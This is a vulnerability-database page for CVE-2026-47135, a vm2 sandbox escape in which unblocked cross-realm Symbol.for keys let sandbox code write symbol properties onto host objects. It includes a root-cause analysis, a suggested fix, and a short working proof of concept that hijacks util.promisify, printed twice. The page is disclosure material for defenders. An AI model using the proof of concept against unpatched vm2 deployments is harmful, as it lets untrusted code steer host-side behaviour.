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CVE-2026-47135

vm2: Sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

8.7 HighFix available

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.27%Up 0.2 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

vm2: Sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4.

Record
CVE-2026-47135
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-693
Updated
2026-11-02
EUVDEUVD-2026-36442 8.7

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4.

Record
EUVD-2026-36442
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-m5q2-4fm3-vfqp 8.7

vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

Summary

vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain.

Root Cause

1. Incomplete Symbol.for override (setup-sandbox.js:132-142):

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
    return originalSymbolFor(keyStr); // everything else passes through
};

Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:

  • nodejs.util.promisify.custom
  • nodejs.stream.readable
  • nodejs.stream.writable
  • nodejs.stream.duplex
  • nodejs.stream.transform
  • nodejs.webstream.isClosedPromise
  • nodejs.webstream.controllerErrorFunction

Note: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.

2. Missing symbol check in bridge write traps (bridge.js):

The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and deleteProperty (line 1493) have no such check. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.

3. Incomplete filters in setup-sandbox.js:

isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and Object.assign override only filter inspect.custom and rejection — missing promisify.custom and all stream/webstream symbols.

Verified Exploitation: util.promisify Hijack

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);

// Sandbox writes promisify.custom to host function
vm.run(`
  const kPromisify = Symbol.for('nodejs.util.promisify.custom');
  hostFn[kPromisify] = function(path) {
    return Promise.resolve('HIJACKED by sandbox');
  };
`);

// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"

Additional verified attacks:

  • Writing nodejs.stream.writable to a host Readable stream, altering its duck-typing identity
  • Object.assign propagates unblocked symbols from sandbox source to host target
  • Object.defineProperty with unblocked symbol key succeeds on host objects
  • delete hostObj[unblocked_symbol] succeeds, removing host-set symbol properties

Impact

  • Semantic confusion: Sandbox controls host util.promisify behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.
  • Data integrity: Host code relying on promisified function results gets sandbox-controlled values.
  • Defense bypass: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.

This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.

Affected Versions

  • vm2 <= 3.11.2 (all 3.x versions)

Environment

  • Node.js v24.14.0
  • macOS (Darwin 25.4.0)

Suggested Fix

  1. setup-sandbox.js: Block all nodejs.* prefixed symbols:
Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
 …
Record
GHSA-m5q2-4fm3-vfqp
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-693
Updated
2026-11-02
NVD 8.7

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4.

Record
CVE-2026-47135
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-693
Updated
2026-11-02
OSV 8.7

vm2: Sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4.

Record
CVE-2026-47135
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-693
Updated
2026-11-02
OSVGHSA-m5q2-4fm3-vfqp 8.7

vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

Summary

vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain.

Root Cause

1. Incomplete Symbol.for override (setup-sandbox.js:132-142):

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
    return originalSymbolFor(keyStr); // everything else passes through
};

Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:

  • nodejs.util.promisify.custom
  • nodejs.stream.readable
  • nodejs.stream.writable
  • nodejs.stream.duplex
  • nodejs.stream.transform
  • nodejs.webstream.isClosedPromise
  • nodejs.webstream.controllerErrorFunction

Note: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.

2. Missing symbol check in bridge write traps (bridge.js):

The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and deleteProperty (line 1493) have no such check. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.

3. Incomplete filters in setup-sandbox.js:

isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and Object.assign override only filter inspect.custom and rejection — missing promisify.custom and all stream/webstream symbols.

Verified Exploitation: util.promisify Hijack

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);

// Sandbox writes promisify.custom to host function
vm.run(`
  const kPromisify = Symbol.for('nodejs.util.promisify.custom');
  hostFn[kPromisify] = function(path) {
    return Promise.resolve('HIJACKED by sandbox');
  };
`);

// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"

Additional verified attacks:

  • Writing nodejs.stream.writable to a host Readable stream, altering its duck-typing identity
  • Object.assign propagates unblocked symbols from sandbox source to host target
  • Object.defineProperty with unblocked symbol key succeeds on host objects
  • delete hostObj[unblocked_symbol] succeeds, removing host-set symbol properties

Impact

  • Semantic confusion: Sandbox controls host util.promisify behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.
  • Data integrity: Host code relying on promisified function results gets sandbox-controlled values.
  • Defense bypass: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.

This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.

Affected Versions

  • vm2 <= 3.11.2 (all 3.x versions)

Environment

  • Node.js v24.14.0
  • macOS (Darwin 25.4.0)

Suggested Fix

  1. setup-sandbox.js: Block all nodejs.* prefixed symbols:
Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
 …
Record
GHSA-m5q2-4fm3-vfqp
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-693
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-47135 8.7

CVE-2026-47135 in vm2 - Patched by Root

Root has patched CVE-2026-47135 in the vm2 package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-47135
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Updated
2026-11-02
OSVCLSA-2026-1787860907 No score

TuxCare security update for vm2 (34 CVEs)

TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.

Record
CLSA-2026-1787860907
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
vm2
npm
 through 3.11.3
3.11.4
vm2
TuxCare:npm
From an advisory covering 30 CVEs
 3.10.0-tuxcare.0 up to 3.10.0-tuxcare.1, plus listed versions
3.10.0
3.10.0-tuxcare.1
vm2
npm
 before 3.11.4
3.11.4
vm2
Root:npm
 before 3.9.17-aikido.11
3.9.17-aikido.113.9.17-aikido.123.11.3-aikido.13.11.3-aikido.23.9.17-aikido.133.11.3-aikido.33.9.17-aikido.73.9.17-aikido.83.9.17-aikido.93.9.17-aikido.103.9.7-aikido.33.9.7-aikido.43.9.7-aikido.53.9.7-aikido.6
@rootio/vm2
Root:npm
 before 3.9.17-root.io.11
3.9.17-root.io.113.9.17-root.io.123.11.3-root.io.13.11.3-root.io.23.9.17-root.io.133.11.3-root.io.33.9.17-root.io.73.9.17-root.io.83.9.17-root.io.93.9.17-root.io.103.9.7-root.io.33.9.7-root.io.43.9.7-root.io.53.9.7-root.io.6

History

History
RecordedChangedSources
affected
facts
affected, aliases, referencesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-47135 is a high vulnerability (CVSS 8.7) in Patriksimek Vm2, published May 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 18th percentile. Fixed in vm2 3.11.4.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

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